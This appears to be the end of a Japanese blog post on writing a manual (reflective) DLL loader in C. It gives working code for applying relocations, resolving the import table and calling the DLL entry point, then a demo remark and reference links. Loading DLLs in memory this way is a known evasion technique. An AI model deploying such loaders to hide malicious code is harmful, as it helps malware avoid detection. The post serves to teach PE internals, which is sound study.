            DWORD_PTR addressToPatch = 0;
            ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
            addressToPatch += deltaImageBase;
            WriteProcessMemory(GetCurrentProcess(), (PVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
        }
    }
    /////////////////////////////////////////

    // IATの解決
    /////////////////////////////////////////
    IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    PIMAGE_IMPORT_DESCRIPTOR importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
    LPCSTR libraryName = "";
    HMODULE library = NULL;

    // インポートが必要なDLL分ループ
    while (importDescriptor->Name != NULL)
    {
        // DLL名をもとにメモリにモジュールをロード
        libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
        library = LoadLibraryA(libraryName);

        if (library)
        {
            // PIMAGE_THUNK_DATA構造体、すなわちIATへのポインタを取得
            PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)(importDescriptor->FirstThunk + (DWORD_PTR)dllBase);

            // インポートするAPI分ループ
            while (thunk->u1.AddressOfData != NULL)
            {
                // 序数に基づいてインポート
                if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
                {
                    LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                    thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
                }
                else
                {
                    // API名に基づいてインポート
                    PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData + (DWORD_PTR)dllBase);
                    DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
                    //printf("IAT Resolving 0x%p -> 0x%p\n", thunk->u1.Function + (DWORD_PTR)dllBase ,functionAddress);
                    thunk->u1.Function = functionAddress;
                }
                ++thunk;
            }
        }

        importDescriptor++;
    }
    /////////////////////////////////////////

    // ロードしたDLLの実行
    /////////////////////////////////////////
    DLLEntry DllEntry = (DLLEntry)(ntHeaders->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)dllBase);
    (*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
    /////////////////////////////////////////

    CloseHandle(hdll);
    HeapFree(GetProcessHeap(), 0, dllBytes);

    return 0;
}

デモ

実際に動作させてみた様子が以下の動画。

IATが順次解決され、最終的にDLLが適切に読み込まれている様子が確認できる。

参考サイト

www.joachim-bauch.de

http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf

qiita.com

ired.team

github.com